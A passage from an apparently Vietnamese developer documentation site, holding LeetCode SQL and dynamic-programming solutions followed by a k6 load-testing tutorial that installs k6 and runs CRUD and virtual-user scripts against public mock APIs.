of the scores. The ranking should be calculated according to the following rules: - The scores should be ranked from the highest to the lowest. - If there is a tie between two scores, both should have the same ranking. - After a tie, the next ranking number should be the next consecutive integer value. In other words, there should be no holes between ranks. Return the result table ordered by score in descending order. The result format is in the following example. Example 1: - Input: `Scores` table: | id | score | | -- | ----- | | 1 | 3.50 | | 2 | 3.65 | | 3 | 4.00 | | 4 | 3.85 | | 5 | 4.00 | | 6 | 3.65 | - Output: | score | rank | | ----- | ---- | | 4.00 | 1 | | 4.00 | 1 | | 3.85 | 2 | | 3.65 | 3 | | 3.65 | 3 | | 3.50 | 4 | ## Giải quyết bài toán [code sql] SELECT score, DENSE_RANK() OVER (ORDER BY score DESC) AS 'rank' FROM Scores; [/code] Tham khảo: https://leetcode.com/submissions/detail/1039361107/ ============================================================================ # 181. Employees Earning More Than Their Managers URL: https://tiennhm.io.vn/docs/leetcode/database/181-employees-earning-more-than-their-managers Source: docs/04-leetcode/database/181. Employees Earning More Than Their Managers.mdx Description: Write a solution to find the employees who earn more than their managers. Tags: leetcode, database # 181. Employees Earning More Than Their Managers ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/employees-earning-more-than-their-managers/ Table: `Employee` | Column Name | Type | | ----------- | ------- | | id | int | | name | varchar | | salary | int | | managerId | int | - `id` is the primary key (column with unique values) for this table. - Each row of this table indicates the ID of an employee, their name, salary, and the ID of their manager. Tip: Yêu cầu Write a solution to find the employees who earn more than their managers. Return the result table in any order. The result format is in the following example. Example 1: - Input: `Employee` table: | id | name | salary | managerId | | -- | ----- | ------ | --------- | | 1 | Joe | 70000 | 3 | | 2 | Henry | 80000 | 4 | | 3 | Sam | 60000 | Null | | 4 | Max | 90000 | Null | - Output: | Employee | | -------- | | Joe | - Explanation: Joe is the only employee who earns more than his manager. ## Giải quyết bài toán [code sql] SELECT e.name AS Employee FROM Employee e INNER JOIN Employee m ON e.managerId = m.id WHERE e.salary > m.salary; [/code] Tham khảo: https://leetcode.com/submissions/detail/1039195164/ ============================================================================ # 182. Duplicate Emails URL: https://tiennhm.io.vn/docs/leetcode/database/182-duplicate-emails Source: docs/04-leetcode/database/182. Duplicate Emails.mdx Description: Write a solution to report all the duplicate emails. Note that it's guaranteed that the email field is not `NULL`. Tags: leetcode, database # 182. Duplicate Emails ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/duplicate-emails Table: `Person` | Column Name | Type | | ------------ | -------- | | id | int | | email | varchar | - `id` is the primary key (column with unique values) for this table. - Each row of this table contains an email. The emails will not contain uppercase letters. Tip: Yêu cầu Write a solution to report all the duplicate emails. Note that it's guaranteed that the email field is not `NULL`. Return the result table in any order. The result format is in the following example. Example 1: - Input: `Person` table: | id | email | | ---- | --------- | | 1 | `a@b.com` | | 2 | `c@d.com` | | 3 | `a@b.com` | - Output: | Email | | ---------- | | `a@b.com` | - Explanation: `a@b.com` is repeated two times. ## Giải quyết bài toán [code sql] SELECT email FROM Person GROUP BY email HAVING COUNT(id) > 1; [/code] Tham khảo: https://leetcode.com/submissions/detail/1039091405/ ============================================================================ # 183. Customers Who Never Order URL: https://tiennhm.io.vn/docs/leetcode/database/183-customers-who-never-order Source: docs/04-leetcode/database/183. Customers Who Never Order.mdx Description: Write a solution to find all customers who never order anything. Tags: leetcode, database # 183. Customers Who Never Order ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/customers-who-never-order/ Table: `Customers` | Column Name | Type | | ----------- | ------- | | id | int | | name | varchar | - `id` is the primary key (column with unique values) for this table. - Each row of this table indicates the ID and name of a customer. Table: `Orders` | Column Name | Type | | ----------- | ---- | | id | int | | customerId | int | - `id` is the primary key (column with unique values) for this table. - `customerId` is a foreign key (reference columns) of the ID from the `Customers` table. - Each row of this table indicates the ID of an order and the ID of the customer who ordered it. Tip: Yêu cầu Write a solution to find all customers who never order anything. Return the result table in any order. The result format is in the following example. Example: 1: Input: `Customers` table: | id | name | | -- | ----- | | 1 | Joe | | 2 | Henry | | 3 | Sam | | 4 | Max | `Orders` table: | id | customerId | | -- | ---------- | | 1 | 3 | | 2 | 1 | Output: | Customers | | --------- | | Henry | | Max | ## Giải quyết bài toán [code sql] SELECT name Customers FROM Customers WHERE id NOT IN (SELECT customerId FROM Orders); [/code] Tham khảo: https://leetcode.com/submissions/detail/1039107765/ ============================================================================ # 196. Delete Duplicate Emails URL: https://tiennhm.io.vn/docs/leetcode/database/196-delete-duplicate-emails Source: docs/04-leetcode/database/196. Delete Duplicate Emails.mdx Description: Write a solution to delete all duplicate emails, keeping only one unique email with the smallest id. After running your script, the answer shown is the `Person` table. The driver will first compile and run your piece of code and then show the `Person` table. The final order of the `Person` table does not matter. Tags: leetcode, database # 196. Delete Duplicate Emails ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/delete-duplicate-emails/ Table: `Person` | Column Name | Type | | ----------- | ------- | | id | int | | email | varchar | - `id` is the primary key (column with unique values) for this table. - Each row of this table contains an email. The emails will not contain uppercase letters. Tip: Yêu cầu Write a solution to delete all duplicate emails, keeping only one unique email with the smallest id. After running your script, the answer shown is the `Person` table. The driver will first compile and run your piece of code and then show the `Person` table. The final order of the `Person` table does not matter. The result format is in the following example. Example 1: Input: `Person` table: | id | email | | -- | ------------------ | | 1 | `john@example.com` | | 2 | `bob@example.com` | | 3 | `john@example.com` | Output: | id | email | | -- | ------------------ | | 1 | `john@example.com` | | 2 | `bob@example.com` | - Explanation: `john@example.com` is repeated two times. We keep the row with the smallest Id = 1. ## Giải quyết bài toán [code sql] DELETE FROM Person WHERE id NOT IN ( SELECT id FROM ( SELECT MIN(p.id) as id FROM Person p GROUP BY p.email ) AS c ); [/code] Tham khảo: https://leetcode.com/submissions/detail/1039208682/ ============================================================================ # 197. Rising Temperature URL: https://tiennhm.io.vn/docs/leetcode/database/197-rising-temperature Source: docs/04-leetcode/database/197. Rising Temperature.mdx Description: Find all dates' `Id` with higher temperatures compared to its previous dates (yesterday). Tags: leetcode, database # 197. Rising Temperature ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/rising-temperature/ Table: `Weather` | Column Name | Type | | ------------- | ------- | | id | int | | recordDate | date | | temperature | int | - In SQL, id is the primary key for this table. - This table contains information about the temperature on a certain day. Tip: Yêu cầu Find all dates' `Id` with higher temperatures compared to its previous dates (yesterday). Return the result table in any order. The result format is in the following example. Example 1: Input: `Weather` table: | id | recordDate | temperature | | -- | ---------- | ----------- | | 1 | 2015-01-01 | 10 | | 2 | 2015-01-02 | 25 | | 3 | 2015-01-03 | 20 | | 4 | 2015-01-04 | 30 | Output: | id | | -- | | 2 | | 4 | - Explanation: + In 2015-01-02, the temperature was higher than the previous day (10 -> 25). + In 2015-01-04, the temperature was higher than the previous day (20 -> 30). ## Giải quyết bài toán [code sql] SELECT w1.id FROM Weather w1 JOIN Weather w2 ON w1.RecordDate = DATE_ADD(w2.RecordDate, INTERVAL 1 DAY) WHERE w1.temperature > w2.temperature; [/code] Tham khảo: https://leetcode.com/submissions/detail/1039224990/ ============================================================================ # 511. Game Play Analysis I URL: https://tiennhm.io.vn/docs/leetcode/database/511-game-play-analysis-i Source: docs/04-leetcode/database/511. Game Play Analysis I.mdx Description: Write a solution to find the first login date for each player. Tags: leetcode, database # 511. Game Play Analysis I ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/game-play-analysis-i/ Table: `Activity` | Column Name | Type | | ------------ | ------- | | player_id | int | | device_id | int | | event_date | date | | games_played | int | - `(player_id, event_date)` is the primary key (combination of columns with unique values) of this table. - This table shows the activity of players of some games. - Each row is a record of a player who logged in and played a number of games (possibly 0) before logging out on someday using some device. Tip: Yêu cầu Write a solution to find the first login date for each player. Return the result table in any order. The result format is in the following example. ## Giải quyết bài toán [code sql] SELECT player_id, MIN(event_date) AS first_login FROM Activity GROUP BY player_id; [/code] Tham khảo: https://leetcode.com/submissions/detail/1039350725/ ============================================================================ # 607. Sales Person URL: https://tiennhm.io.vn/docs/leetcode/database/607-sales-person Source: docs/04-leetcode/database/607. Sales Person.mdx Description: Write a solution to find the names of all the salespersons who did not have any orders related to the company with the name `RED`. Tags: leetcode, database # 607. Sales Person ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/sales-person/ ### Table `SalesPerson` | Column Name | Type | | --------------- | ------- | | sales_id | int | | name | varchar | | salary | int | | commission_rate | int | | hire_date | date | - `sales_id` is the primary key (column with unique values) for this table. - Each row of this table indicates the name and the ID of a salesperson alongside their salary, commission rate, and hire date. ### Table `Company` | Column Name | Type | | ----------- | ------- | | com_id | int | | name | varchar | | city | varchar | - `com_id` is the primary key (column with unique values) for this table. - Each row of this table indicates the name and the ID of a company and the city in which the company is located. ### Table `Orders` | Column Name | Type | | ----------- | ---- | | order_id | int | | order_date | date | | com_id | int | | sales_id | int | | amount | int | - `order_id` is the primary key (column with unique values) for this table. - `com_id` is a foreign key (reference column) to com_id from the Company table. - `sales_id` is a foreign key (reference column) to sales_id from the SalesPerson table. - Each row of this table contains information about one order. This includes the ID of the company, the ID of the salesperson, the date of the order, and the amount paid. ### Yêu cầu Tip: Yêu cầu Write a solution to find the names of all the salespersons who did not have any orders related to the company with the name `RED`. Return the result table in any order. The result format is in the following example. ## Ví dụ ### Input - `SalesPerson` table: | sales_id | name | salary | commission_rate | hire_date | | -------- | ---- | ------ | --------------- | ---------- | | 1 | John | 100000 | 6 | 4/1/2006 | | 2 | Amy | 12000 | 5 | 5/1/2010 | | 3 | Mark | 65000 | 12 | 12/25/2008 | | 4 | Pam | 25000 | 25 | 1/1/2005 | | 5 | Alex | 5000 | 10 | 2/3/2007 | - `Company` table: | com_id | name | city | | ------ | ------ | -------- | | 1 | RED | Boston | | 2 | ORANGE | New York | | 3 | YELLOW | Boston | | 4 | GREEN | Austin | - `Orders` table: | order_id | order_date | com_id | sales_id | amount | | -------- | ---------- | ------ | -------- | ------ | | 1 | 1/1/2014 | 3 | 4 | 10000 | | 2 | 2/1/2014 | 4 | 5 | 5000 | | 3 | 3/1/2014 | 1 | 1 | 50000 | | 4 | 4/1/2014 | 1 | 4 | 25000 | ### Output: | name | | ---- | | Amy | | Mark | | Alex | ### Explanation: According to orders 3 and 4 in the Orders table, it is easy to tell that only salesperson John and Pam have sales to company `RED`, so we report all the other names in the table salesperson. ## Giải quyết bài toán [code sql] SELECT sp.name FROM SalesPerson sp WHERE sp.sales_id NOT IN ( SELECT o.sales_id FROM Orders o INNER JOIN Company c ON o.com_id = c.com_id WHERE c.name = 'RED' ); [/code] Tham khảo: https://leetcode.com/submissions/detail/1056143690/ ============================================================================ # 62. Unique Paths URL: https://tiennhm.io.vn/docs/leetcode/dynamic-programming/62-unique-paths Source: docs/04-leetcode/dynamic-programming/62. Unique Paths.mdx Description: Find the number of possible unique paths that the robot can take to reach the bottom-right corner. Tags: leetcode, dynamic-programming # 62. Unique Paths ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/unique-paths/ There is a robot on an `m x n` grid. The robot is initially located at the top-left corner (i.e., `grid[0][0]`). The robot tries to move to the bottom-right corner (i.e., `grid[m - 1][n - 1]`). The robot can only move either `down` or `right` at any point in time. Tip: Yêu cầu Given the two integers `m` and `n`, return the number of possible unique paths that the robot can take to reach the bottom-right corner. The: test cases are generated so that the answer will be less than or equal to `2 * 10^9`. ## Giải quyết bài toán Ta lập bảng 2 chiều `m x n` để lưu số lượng đường đi tại mỗi ô. Dễ dàng nhận thấy, số lượng đường đi tại ô `(i, j)` bằng tổng số lượng đường đi tại ô `(i - 1, j)` và `(i, j - 1)`. Trong đó, ô `(i - 1, j)` là ô phía trên ô `(i, j)` và ô `(i, j - 1)` là ô bên trái ô `(i, j)`. Lưu ý, ô `(i, j)` nếu nằm ở hàng đầu tiên hoặc cột đầu tiên thì số lượng đường đi tại ô đó luôn bằng `1`. | | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | y | | ----- | ----- | ----- | ----- | ----- | ----- | ----- | ----- | ----- | ----- | | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | | 2 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | | | 3 | 1 | 3 | 6 | 10 | 15 | 21 | 28 | | | | 4 | 1 | 4 | 10 | 20 | 35 | 56 | | | | | 5 | 1 | 5 | 15 | 35 | 70 | | | | | | x | 1 | | | | | | | | value | Tham khảo: - C# (https://leetcode.com/submissions/detail/1039901081/) - TypeScript (https://leetcode.com/submissions/detail/1039917510/) ============================================================================ # Hướng dẫn cài đặt k6 URL: https://tiennhm.io.vn/docs/k6/load-testing-restful-apis-with-k6-part-01 Source: docs/05-k6/part-01.md Description: RESTful API là một trong những kiểu API phổ biến nhất hiện nay. Vì vậy, việc kiểm tra tải (load testing) là một phần quan trọng của việc kiểm tra hiệu suất. Tags: load-testing, k6, restful-api, performance-testing, setup RESTful API (https://aws.amazon.com/what-is/restful-api/) là một trong những kiểu API phổ biến nhất hiện nay. Vì vậy, việc kiểm tra tải (load testing) là một phần quan trọng của việc kiểm tra hiệu suất. Trong bài viết này, chúng ta sẽ tìm hiểu cách cài đặt k6 (https://k6.io) để kiểm tra tải cho RESTful API. ## Giới thiệu về k6 Grafana k6 (https://k6.io) là một công cụ kiểm tra tải (load testing) mã nguồn mở, giúp việc kiểm tra hiệu suất (performance testing) trở nên dễ dàng và hiệu quả. Đây là một công cụ miễn phí, lấy nhà phát triển làm trung tâm và có thể dễ dàng mở rộng, được phát triển bởi Grafana Labs (https://grafana.com/) và cộng đồng. ### Những tính năng chính k6 có rất nhiều tính năng, mà bạn có thể dễ dàng tìm hiểu tất cả chúng trong tài liệu tại đây (https://k6.io/docs/). Các tính năng chính bao gồm: - CLI tool (https://k6.io/docs/using-k6/k6-options/how-to/) với API thân thiện với nhà phát triển. - Kịch bản test dễ dàng viết bằng JavaScript ES2015/ES6 - có hỗ trợ cho các module local và remote (https://k6.io/docs/using-k6/modules/). - Check (https://k6.io/docs/using-k6/checks/) và Thresholds (https://k6.io/docs/using-k6/thresholds/) - để kiểm tra tải theo định hướng mục tiêu, thân thiện với tự động hóa. ### Trường hợp thường dùng Người dùng k6 thường là Developer, QA, SDET và SRE. Họ sử dụng k6 để kiểm tra hiệu suất và độ tin cậy của API, microservices (https://microservices.io/) và trang web. Các trường hợp sử dụng k6 phổ biến là: - Load testing: k6 được tối ưu hóa để tiêu thụ tài nguyên tối thiểu và được thiết kế để chạy các test tải cao (spike (https://k6.io/docs/test-types/spike-testing/), stress (https://k6.io/docs/test-types/stress-testing/), soak (https://k6.io/docs/test-types/soak-testing/) tests). - Browser testing: Thông qua k6 browser (https://k6.io/docs/using-k6-browser/overview/), bạn có thể chạy test hiệu suất dựa trên trình duyệt và phát hiện các sự cố chỉ liên quan đến trình duyệt mà có thể bỏ qua hoàn toàn ở cấp giao thức. - Chaos và resilience testing: k6 có thể được sử dụng để mô phỏng lưu lượng truy cập như một phần của việc test hỗn loạn (chaos testing), trigger chúng từ các thử nghiệm k6 hoặc đưa các loại lỗi khác nhau vào Kubernetes bằng xk6-disruptor (https://k6.io/docs/javascript-api/xk6-disruptor/). - Performance và synthetic monitoring: Với k6, bạn có thể tự động hóa và lên lịch trigger các thử nghiệm rất thường xuyên với tải nhỏ để liên tục xác thực hiệu suất và tính khả dụng của môi trường production của bạn. ### Một vài lưu ý k6 là một công cụ kiểm tra tải hiệu suất cao, có thể viết bằng JavaScript. Thiết kế kiến trúc để có được những khả năng này, mang lại một số sự đánh đổi: - Không thể chạy trực tiếp trên trình duyệt Theo mặc định, k6 không hiển thị các trang web giống như cách trình duyệt thực hiện. Trình duyệt có thể tiêu tốn tài nguyên hệ thống đáng kể. Bỏ qua trình duyệt cho phép chạy nhiều tải hơn trong một máy. Tuy nhiên, với k6 browser (https://k6.io/docs/using-k6-browser/overview/), bạn có thể tương tác với các trình duyệt thực và thu thập số liệu giao diện người dùng như một phần của testing. - Không thể chạy trên Node.js JavaScript thường không phù hợp để sử dụng trong các trường hợp cần hiệu suất cao. Để đạt được hiệu suất tối đa, bản thân công cụ này được viết bằng Go (https://go.dev), embed JavaScript runtime cho phép viết kịch bản kiểm tra dễ dàng. Nếu bạn muốn import npm modules hoặc thư viện sử dụng NodeJS APIs, bạn có thể bundle npm modules với webpack (https://k6.io/docs/using-k6/modules/#bundling-node-modules) và import chúng vào script load test. Info: Nếu muốn biết thêm thông tin về k6, bạn có thể xem thêm tại đây (https://k6.io/docs). ## Hướng dẫn cài đặt k6 có các gói cài đặt dành cho Linux, Mac và Windows. Ngoài ra, bạn có thể sử dụng Docker container hoặc file cài đặt phần mềm. Trong bài viết này, chúng ta sẽ tìm hiểu cách cài đặt k6 trên Windows thông qua file cài đặt phần mềm. Để cài đặt k6, bạn có thể tải file cài đặt phần mềm tại đây (https://dl.k6.io/msi/k6-latest-amd64.msi) và tiến hành cài đặt theo hướng dẫn. Sau khi cài đặt thành công, bạn có thể mở Command Prompt và kiểm tra phiên bản k6 đã cài đặt bằng lệnh: [code bash] k6 [/code] Nếu k6 đã được cài đặt thành công, bạn sẽ nhận được thông báo như sau: Trong trường hợp bạn muốn cài một phiên bản cụ thể, bạn có thể tìm thấy tất cả các phiên bản tại đây (https://dl.k6.io/msi/). Info: Chi tiết hướng dẫn của các phương thức cài đặt k6, bạn có thể xem thêm tại đây (https://k6.io/docs/getting-started/installation/). Tip: Trong một vài tình huống, bạn có thể gặp lỗi khi cài đặt k6. Để khắc phục lỗi này, bạn có thể tham khảo thêm tại đây (https://k6.io/docs/getting-started/installation/#troubleshooting). Trên Windows, bạn có thể gặp lỗi sau khi cài đặt k6: Khi đó, hãy đảm bảo rằng bạn đã thêm đường dẫn đến thư mục chứa k6 vào biến môi trường PATH. Trong trường hợp mặc định, thư mục này sẽ nằm tại `C:\Program Files\k6`. ## Lời kết Trong bài viết này, chúng ta đã tìm hiểu về k6, một công cụ kiểm tra tải hiệu suất cao, có thể viết bằng JavaScript. Chúng ta cũng đã tìm hiểu cách cài đặt k6 trên Windows thông qua file cài đặt phần mềm. Trong bài viết tiếp theo, chúng ta sẽ tìm hiểu cách viết một kịch bản kiểm tra tải đơn giản bằng k6. ## Bài liên quan - Các loại kiểm thử API: 9 loại, khác nhau ở đâu và chạy lúc nào — Kiểm thử API là gì và vì sao nó rẻ hơn kiểm thử giao diện. ============================================================================ # Load testing API đơn giản URL: https://tiennhm.io.vn/docs/k6/load-testing-restful-apis-with-k6-part-02 Source: docs/05-k6/part-02.md Description: Để viết một kịch bản test đơn giản, chúng ta sẽ sử dụng một mockup RESTful API. API này có thể được tìm thấy tại https://reqres.in/, cung cấp một số. Tags: load-testing, k6, restful-api, performance-testing, setup Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/k6/load-testing-restful-apis-with-k6-part-02 RESTful API (https://aws.amazon.com/what-is/restful-api/) là một trong những kiểu API phổ biến nhất hiện nay. Vì vậy, việc kiểm tra tải (load testing) là một phần quan trọng của việc kiểm tra hiệu suất. Trong bài viết này, chúng ta sẽ tìm hiểu cách sử dụng k6 (https://k6.io) để kiểm tra tải cho RESTful API. ## Mục tiêu Trong bài viết này, chúng ta sẽ tìm hiểu cách sử dụng k6 để kiểm tra tải cho RESTful API. Cụ thể, chúng ta sẽ tìm hiểu cách: - Viết một kịch bản test đơn giản - Chạy kịch bản test - Xem kết quả ## Viết một kịch bản test đơn giản Để viết một kịch bản test đơn giản, chúng ta sẽ sử dụng một mockup RESTful API. API này có thể được tìm thấy tại https://reqres.in/, cung cấp một số endpoints để tạo, đọc, cập nhật và xóa người dùng. Trong trường hợp bạn muốn chạy load test cho các API của riêng bạn, hãy tạo một function tương tự như các ví dụ dưới đây. ### Tạo một kịch bản test Đầu tiên, chúng ta sẽ tạo một thư mục mới để chứa kịch bản test. Trong thư mục này, chúng ta sẽ tạo một file có tên là `script.js`, chứa các hàm cần thiết phục vụ cho việc chạy load test. ### Viết kịch bản test Đầu tiên, chúng ta sẽ import một số thư viện cần thiết: [code js] import http from 'k6/http'; import { sleep } from 'k6'; [/code] Trong đó: - `http` là một thư viện chứa các hàm để gửi request đến API. - `sleep` là một thư viện chứa các hàm để sleep một khoảng thời gian nhất định. Chúng ta sẽ sử dụng hàm này để đảm bảo rằng mỗi request được gửi cách nhau 1 giây. Tiếp theo, chúng ta sẽ viết một hàm để tạo một người dùng mới: [code js] function createUser() { const url = 'https://reqres.in/api/users'; const payload = JSON.stringify({ name: 'morpheus', job: 'leader', }); const params = { headers: { 'Content-Type': 'application/json', }, }; return http.post(url, payload, params); } [/code] Hàm này sẽ gửi một request POST đến endpoint `/api/users` với một payload là một đối tượng JSON chứa thông tin của người dùng mới cần tạo, như `name` và `job`. Tiếp theo, chúng ta sẽ viết một hàm để đọc thông tin của một người dùng. Hàm này sẽ gửi một request GET đến endpoint `/api/users/{id}` với `id` là tham số truyền vào. [code js] function getUser(id) { const url = `https://reqres.in/api/users/${id}`; return http.get(url); } [/code] Chúng ta sẽ viết một hàm để cập nhật thông tin của một người dùng như sau: [code js] function updateUser(id) { const url = `https://reqres.in/api/users/${id}`; const payload = JSON.stringify({ name: 'morpheus', job: 'zion resident', }); const params = { headers: { 'Content-Type': 'application/json', }, }; return http.put(url, payload, params); } [/code] Hàm này sẽ gửi một request PUT đến endpoint `/api/users/{id}` với `id` là tham số truyền vào và payload là một đối tượng JSON chứa thông tin của người dùng cần cập nhật. Và để xóa một người dùng, chúng ta sẽ viết một hàm như sau: [code js] function deleteUser(id) { const url = `https://reqres.in/api/users/${id}`; return http.del(url); } [/code] Hàm này sẽ gửi một request DELETE đến endpoint `/api/users/{id}` với `id` là tham số truyền vào. Cuối cùng, chúng ta sẽ viết một hàm để thực hiện một kịch bản test: [code js] export default function () { const user = createUser(); const id = user.json('id'); sleep(1); getUser(id); sleep(1); updateUser(id); sleep(1); deleteUser(id); sleep(1); } [/code] Hàm này sẽ gọi lần lượt các hàm đã viết ở trên để tạo, đọc, cập nhật và xóa một người dùng. Để đảm bảo rằng mỗi request được gửi cách nhau 1 giây, chúng ta sẽ sử dụng hàm `sleep` để dừng chương trình trong 1 giây. Một lần chạy hàm `default` (một iteration) diễn ra như sau: [code mermaid] sequenceDiagram participant VU as VU (default function) participant API as reqres.in VU->>API: POST /api/users API-->>VU: response có id Note over VU: sleep(1) VU->>API: GET /api/users/{id} Note over VU: sleep(1) VU->>API: PUT /api/users/{id} Note over VU: sleep(1) VU->>API: DELETE /api/users/{id} Note over VU: sleep(1) [/code] ### Kịch bản test hoàn chỉnh Sau khi viết xong kịch bản test, chúng ta sẽ có một file `script.js` như sau: [code js] import http from 'k6/http'; import { sleep } from 'k6'; function createUser() { const url = 'https://reqres.in/api/users'; const payload = JSON.stringify({ name: 'morpheus', job: 'leader', }); const params = { headers: { 'Content-Type': 'application/json', }, }; return http.post(url, payload, params); } function getUser(id) { const url = `https://reqres.in/api/users/${id}`; return http.get(url); } function updateUser(id) { const url = `https://reqres.in/api/users/${id}`; const payload = JSON.stringify({ name: 'morpheus', job: 'zion resident', }); const params = { headers: { 'Content-Type': 'application/json', }, }; return http.put(url, payload, params); } function deleteUser(id) { const url = `https://reqres.in/api/users/${id}`; return http.del(url); } export default function () { const user = createUser(); const id = user.json('id'); sleep(1); getUser(id); sleep(1); updateUser(id); sleep(1); deleteUser(id); sleep(1); } [/code] ## Chạy kịch bản test Để chạy kịch bản test, chúng ta sẽ mở Command Prompt / Terminal và chạy lệnh sau: [code bash] k6 run script.js [/code] ## Xem kết quả Nếu kịch bản test được chạy thành công, bạn sẽ nhận được kết quả như sau: [… phần còn lại đã lược bớt] ============================================================================ # Load testing với Virtual Users URL: https://tiennhm.io.vn/docs/k6/load-testing-restful-apis-with-k6-part-03 Source: docs/05-k6/part-03.md Description: Trong bài viết trước, chúng ta đã tìm hiểu cách sử dụng k6 để kiểm tra tải cho RESTful API thông qua một kịch bản test đơn giản để tạo, đọc, cập nhật và xóa. Tags: load-testing, k6, restful-api, performance-testing, setup Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/k6/load-testing-restful-apis-with-k6-part-03 Trong bài viết trước, chúng ta đã tìm hiểu cách sử dụng k6 để kiểm tra tải cho RESTful API thông qua một kịch bản test đơn giản để tạo, đọc, cập nhật và xóa một người dùng. Trong bài viết này, chúng ta sẽ tìm hiểu cách sử dụng k6 (https://k6.io) để kiểm tra tải cho RESTful API thông qua một kịch bản test với nhiều Virtual User (https://k6.io/docs/misc/glossary/#virtual-user). Info: Virtual User Virtual User là một đại diện cho một người dùng thực sự. Một Virtual User có thể thực hiện một số hành động nhất định, ví dụ như tạo một người dùng mới, đọc thông tin của một người dùng, cập nhật thông tin của một người dùng, xóa một người dùng, v.v. M: ột kịch bản test có thể có nhiều Virtual Users. Các hành động này có thể được thực hiện tuần tự hoặc đồng thời. k6 chạy nhiều lần lặp đồng thời với người dùng ảo (`VU`). Nói chung, nhiều người dùng ảo hơn có nghĩa là nhiều lưu lượng truy cập được mô phỏng hơn. VU về cơ bản là các vòng lặp `while (true)` chạy đồng thời. Các tập lệnh được viết bằng JavaScript, dưới dạng module ES6 (https://www.w3schools.com/js/js_es6.asp), vì vậy bạn có thể chia các bài test lớn thành các phần nhỏ hơn hoặc tạo các module có thể sử dụng lại theo ý muốn. ## Mục tiêu Trong bài viết này, chúng ta sẽ tìm hiểu cách sử dụng k6 để kiểm tra tải cho RESTful API thông qua một kịch bản test với nhiều Virtual Users. Cụ thể, chúng ta sẽ tìm hiểu cách: - Viết một kịch bản test với nhiều Virtual Users. - Tăng, giảm số lượng Virtual User theo từng giai đoạn. ## Viết một kịch bản test với nhiều Virtual User Trong bài viết trước, chúng ta đã làm quen với việc tạo một kịch bản test đơn giản. Trong đó, file `script.js` của chúng ta về cơ bản sẽ chỉ gọi API như thế này: [code js] import http from 'k6/http'; import { sleep } from 'k6'; export default function () { http.get('https://test.k6.io'); sleep(1); } [/code] Để chạy kịch bản test này, chúng ta sẽ chạy lệnh sau: [code sh] k6 run script.js [/code] Bây giờ, chúng ta sẽ tìm hiểu cách chạy kịch bản test này với nhiều Virtual User. ### Sử dụng cờ `--vus` và `--duration` Cách đơn giản nhất để chạy kịch bản test với nhiều Virtual User là sử dụng cờ `--vus` và `--duration`. Cờ `--vus` sẽ chỉ định số lượng Virtual User cần chạy, còn cờ `--duration` sẽ chỉ định thời gian chạy của kịch bản test. Ví dụ, để chạy kịch bản test với 10 Virtual User trong 30 giây, chúng ta sẽ chạy lệnh sau: [code sh] k6 run --vus 10 --duration 30s script.js [/code] ### Thông qua set `options` Ngoài cách sử dụng cờ `--vus` và `--duration`, chúng ta cũng có thể sử dụng set `options` để chỉ định số lượng Virtual User cần chạy. Để làm điều này, chúng ta sẽ cần chỉnh sửa file `script.js` như sau: [code js] import http from 'k6/http'; import { sleep } from 'k6'; export let options = { vus: 10, duration: '30s', }; export default function () { http.get('https://test.k6.io'); sleep(1); } [/code] Warning: Lưu ý quan trọng, chúng ta chỉ định từ khóa `export` cho `options` và `default` để k6 có thể nhận diện được các giá trị này. Sau: đó, chúng ta sẽ chạy lệnh sau để chạy kịch bản test: [code sh] k6 run script.js [/code] ### Kết quả Sau khi chạy kịch bản test, chúng ta sẽ nhận được kết quả như sau: [code bash] /\ |‾‾| /‾‾/ /‾‾/ /\ / \ | |/ / / / / \/ \ | ( / ‾‾\ / \ | |\ \ | (‾) | / __________ \ |__| \__\ \_____/ .io execution: local script: script.js output: - scenarios: (100.00%) 1 scenario, 10 max VUs, 1m0s max duration (incl. graceful stop): * default: 10 looping VUs for 30s (gracefulStop: 30s) data_received..................: 2.7 MB 88 kB/s data_sent......................: 26 kB 844 B/s http_req_blocked...............: avg=24.59ms min=0s med=0s max=575.19ms p(90)=0s p(95)=135.71µs http_req_connecting............: avg=10.94ms min=0s med=0s max=260.2ms p(90)=0s p(95)=0s http_req_duration..............: avg=276.78ms min=244.65ms med=261.01ms max=574.14ms p(90)=279.08ms p(95)=506.76ms { expected_response:true }...: avg=276.78ms min=244.65ms med=261.01ms max=574.14ms p(90)=279.08ms p(95)=506.76ms http_req_failed................: 0.00% ✓ 0 ✗ 233 http_req_receiving.............: avg=13.12ms min=0s med=0s max=261.03ms p(90)=977.48µs p(95)=98.09ms http_req_sending...............: avg=35.59µs min=0s med=0s max=1.41ms p(90)=0s p(95)=0s http_req_tls_handshaking.......: avg=11.95ms min=0s med=0s max=284.05ms p(90)=0s p(95)=0s http_req_waiting...............: avg=263.62ms min=243.91ms med=258.58ms max=573.54ms p(90)=267.65ms p(95)=277.49ms http_reqs......................: 233 7.495798/s iteration_duration.............: avg=1.3s min=1.24s med=1.26s max=1.87s p(90)=1.5s p(95)=1.53s iterations.....................: 233 7.495798/s vus............................: 1 min=1 max=10 vus_max........................: 10 min=10 max=10 running (0m31.1s), 00/10 VUs, 233 complete and 0 interrupted iterations default ✓ [======================================] 10 VUs 30s [/code] ## Tăng, giảm số lượng Virtual User theo từng giai đoạn Để tăng, giảm số lượng Virtual User theo từng giai đoạn, chúng ta sẽ sử dụng set `stages`. Để làm điều này, chúng ta sẽ cần chỉnh sửa file `script.js` như sau: [code js] import http from 'k6/http'; import { sleep } from 'k6'; export let options = { stages: [ { duration: '30s', target: 20 }, { duration: '1m30s', target: 10 }, { duration: '20s', target: 0 }, ], }; export default function () { http.get('https://test.k6.io'); sleep(1); } [/code] Trong đó, `stages` là một mảng các đối tượng, mỗi đối tượng đại diện cho một giai đoạn. Mỗi giai đoạn sẽ có hai thuộc tính là `duration` và `target`. Thuộc tính `duration` sẽ chỉ định thời gian chạy của giai đoạn, còn thuộc tính `target` sẽ chỉ định số lượng Virtual User cần chạy trong giai đoạn 